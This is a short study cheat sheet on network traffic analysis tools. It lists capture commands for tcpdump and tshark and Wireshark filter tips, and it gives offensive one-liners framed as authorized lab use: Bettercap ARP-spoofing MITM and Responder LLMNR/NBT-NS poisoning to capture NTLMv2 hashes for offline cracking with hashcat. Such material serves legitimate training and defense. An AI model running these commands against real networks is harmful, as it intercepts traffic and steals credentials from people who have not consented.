

Network & Traffic Analysis Tools

See the traffic

Tool	What it does
Wireshark	GUI packet analysis, filters, follow-stream
tcpdump / TShark	CLI capture for scripts and remote hosts
capinfos / editcap / mergecap	Inspect & manipulate pcap files
Netcat (nc)	Read/write raw TCP/UDP; the duct tape of networking
Responder	LLMNR/NBT-NS poisoning – snarf netNTLMv2 hashes
Bettercap	Modern MITM: ARP spoof, sniff, hijack HTTP
mitmproxy	Interactive MITM for HTTP/HTTPS workflows

Capture basics

```
sudo tcpdump -i eth0 -w cap.pcap 'tcp port 80'
tshark -r cap.pcap -Y 'http.request' -T fields -e http.host -e http.request.uri
```

In Wireshark: use display filters like `http`, `ip.addr==10.0.0.20`, `tcp.stream eq 5`, Follow HTTP Stream for body.

MITM the lab way (authorized)

```
# ARP spoof the gateway (from Kali, both victim+gateway)
bettercap -eval 'set arp.spoof.targets 10.0.0.30; arp.spoof on; net.sniff on'
```

Responder (snarf hashes on your lab LAN)

```
sudo responder -I eth0 -dwPv  
# Windows clients who resolve unknown names -> LM/NTLMv2 hashes past you  
# crack offline with hashcat mode 5600
```

Reading a pcap professionally

Where's the handshake failing? (TLS server hello looking wrong)

Is this traffic exfil? (unusual large outbound, base64-ish strings)

HTTP vs HTTPS hygiene check (credentials in plaintext?)

The skill translates: blue teams live in captures too. Every packet you can read is evidence you can use or defend against.

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